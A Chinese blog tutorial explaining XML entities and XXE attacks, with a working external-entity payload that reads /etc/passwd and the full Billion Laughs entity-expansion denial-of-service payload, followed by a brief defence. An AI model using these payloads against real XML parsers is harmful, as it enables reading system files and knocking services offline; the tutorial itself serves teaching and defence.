• 浅谈XXE攻击


      一、XXE,即XML External Entity,XML外部实体。ENTITY 实体,在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个ENTITY,然后在这些文档中需要该数据的地方调用它。XML定义了两种类型的ENTITY,一种在XML文档中使用,另一种作为参数在DTD文件中使用。ENTITY的定义语法:

    <!DOCTYPE  文件名 [
    <!ENTITY  实体名 "实体内容">
    ]>

    定义好的ENTITY在文档中通过“&实体名;”来使用。举例:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE booklist [
    <!ENTITY publisher "ABC company">
    ]>
    <booklist>
    <book>
    <name>Ajax</name>
    <price>$5.95</price>
    <description>Foundations of Ajax.</description>
    <publisher>&publisher;</publisher>   这里的&publisher;会被“ABC company”替换
    </book>
    <book>
    <name>Ajax Patterns</name>
    <price>$7.95</price>
    <description>Introduction of Ajax Patterns.</description>
    <publisher>&publisher;</publisher>  这里的&publisher;会被“ABC company”替换
    </book>
    </booklist>

    在 XML 中有 5 个预定义的实体引用:

    &lt; < 小于
    &gt; > 大于
    &amp; & 和号
    &apos; ' 省略号
    &quot; " 引号

    注释:严格地讲,在 XML 中仅有字符 "<"和"&" 是非法的。省略号、引号和大于号是合法的,但是把它们替换为实体引用是个好的习惯。

       二、有些XML文档包含system标识符定义的“实体”,这些文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。比如,下面的XML文档样例就包含了XML ‘实体’。

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE Anything [
    <!ENTITY entityex SYSTEM "file:///etc/passwd">
    ]>
    <abc>&entityex;</abc>

    在上面的代码中, XML外部实体 ‘entityex’ 被赋予的值为:file://etc/passwd。在解析XML文档的过程中,实体’entityex’的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。 关键字’SYSTEM’会告诉XML解析器,’entityex’实体的值将从其后的URI中读取,并把读取的内容替换entityex出现的地方

      假如 SYSTEM 后面的内容可以被用户控制,那么用户就可以随意替换为其他内容,从而读取服务器本地文件(file:///etc/passwd)或者远程文件(http://www.baidu.com/abc.txt)

      三、Billion laughs attack,xml解析的时候,<lolz></lolz>中间将是一个十亿级别大小的参数,将会消耗掉系统30亿字节的内存。

    <?xml version="1.0"?>
    <!DOCTYPE lolz [
     <!ENTITY lol "lol">
     <!ELEMENT lolz (#PCDATA)>
     <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
     <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
     <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
     <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
     <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
     <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
     <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
     <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
     <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>

      四、防范方法:禁止xml解析用户输入的不可信数据。

    参考:

    1、http://www.freebuf.com/articles/web/126788.html

    2、https://en.wikipedia.org/wiki/Billion_laughs_attack

  • 相关阅读:
    linux那点事儿(六)进程管理详解(推荐)
    linux那点事儿(下)
    视图的架构刷新和绑定
    HttpHandler开发的两个重点问题
    RichTextBox控件的几点有意思的东西
    重复输入某个字符(C++,C#)
    几个博客系统点评
    怎么理解符号整数的取值范围(C++)
    为SSIS编写自定义任务项(Task)之进阶篇
    LINQ TO XML之判断不存在行则插入
  • 原文地址:https://www.cnblogs.com/shengulong/p/7691477.html
Copyright © 2020-2023  润新知